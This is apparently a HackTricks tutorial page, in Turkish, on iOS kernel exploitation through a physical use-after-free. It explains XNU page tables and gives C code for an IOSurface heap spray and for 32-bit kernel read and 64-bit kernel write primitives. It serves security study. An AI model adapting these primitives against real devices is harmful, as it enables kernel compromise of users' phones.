hacktricks/binary-exploitation/ios-exploiting.md

203 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# iOS Exploiting
## Fiziksel kullanımdan sonra serbest bırakma
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir.
### XNU'da Bellek Yönetimi <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır.
#### iOS'taki Sayfa Tablolarının Seviyeleri
Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
1. **L1 Sayfa Tablosu (Seviye 1)**:
* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar.
2. **L2 Sayfa Tablosu (Seviye 2)**:
* Buradaki bir giriş, özellikle **0x2000000 bayt** (32 MB) olan daha küçük bir sanal bellek bölgesini temsil eder.
* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
3. **L3 Sayfa Tablosu (Seviye 3)**:
* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar.
* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
#### Sanal Belleği Fiziksel Belleğe Haritalama
* **Doğrudan Haritalama (Blok Haritalama)**:
* Bir sayfa tablosundaki bazı girişler, bir aralıkta **sanal adresleri** kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi).
* **Çocuk Sayfa Tablosuna İşaretçi**:
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir.
#### Örnek: Sanal Bir Adresi Haritalama
Diyelim ki sanal adres **0x1000000000**'a erişmeye çalışıyorsunuz:
1. **L1 Tablosu**:
* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna gider.
2. **L2 Tablosu**:
* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder.
3. **L3 Tablosu**:
* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar.
#### Adres Haritalama Örneği
Eğer fiziksel adres **0x800004000**'ı L2 tablosunun ilk indeksine yazarsanız, o zaman:
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır.
* Bu, L2 seviyesinde bir **blok haritalama**dır.
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.
### Fiziksel Kullanımdan Sonra Serbest Bırakma
Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlarda meydana gelir:
1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**.
2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
3. Süreç belleği **serbest bırakır** (boşaltır).
4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı kaldırmayı unutur** ve ilgili fiziksel belleği serbest olarak işaretler.
5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**.
6. Haritalama kaldırılmadığı için, süreç hala bu fiziksel belleğe **okuma ve yazma** yapabilir.
Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır.
### Exploit Stratejisi: Heap Spray
Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır:
1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur.
2. Her IOSurface nesnesi, bir alanında **büyülü bir değer** içerir, bu da onu tanımlamayı kolaylaştırır.
3. **Serbest bırakılmış sayfaları tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.
4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır.
### Adım Adım Heap Spray Süreci
1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("büyülü değer") ile birçok IOSurface nesnesi oluşturur.
2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.
3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara:
* Bir alanı kullanarak kernel belleğindeki **herhangi bir 32 bit değeri** okumalarını sağlar.
* Diğer bir alanı kullanarak **64 bit değerler** yazmalarını sağlar ve böylece kararlı bir **kernel okuma/yazma ilkesine** ulaşırlar.
Büyülü değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için kullanın:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Kernel Okuma/Yazma İşlemlerini IOSurface ile Gerçekleştirme
Kullanıcı alanından erişilebilen serbest bırakılmış fiziksel bir sayfaya eşlenen kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra, bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz.
**IOSurface'daki Anahtar Alanlar**
IOSurface nesnesinin iki kritik alanı vardır:
1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar.
2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar.
Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.
#### 32-Bit Kernel Okuma
Okuma işlemi gerçekleştirmek için:
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak yönlendirin.
2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Bir yazma işlemi gerçekleştirmek için:
1. **İndekslenmiş zaman damgası işaretçisini** hedef adrese yazın.
2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Akışı Özeti
1. **Fiziksel Kullanımdan Sonra Serbest Bırakmayı Tetikle**: Serbest sayfalar yeniden kullanım için mevcuttur.
2. **IOSurface Nesnelerini Spray Et**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayır.
3. **Erişilebilir IOSurface'ı Belirle**: Kontrol ettiğin serbest bir sayfada bir IOSurface bul.
4. **Kullanımdan Sonra Serbest Bırakmayı Kötüye Kullan**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** sağla.
Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).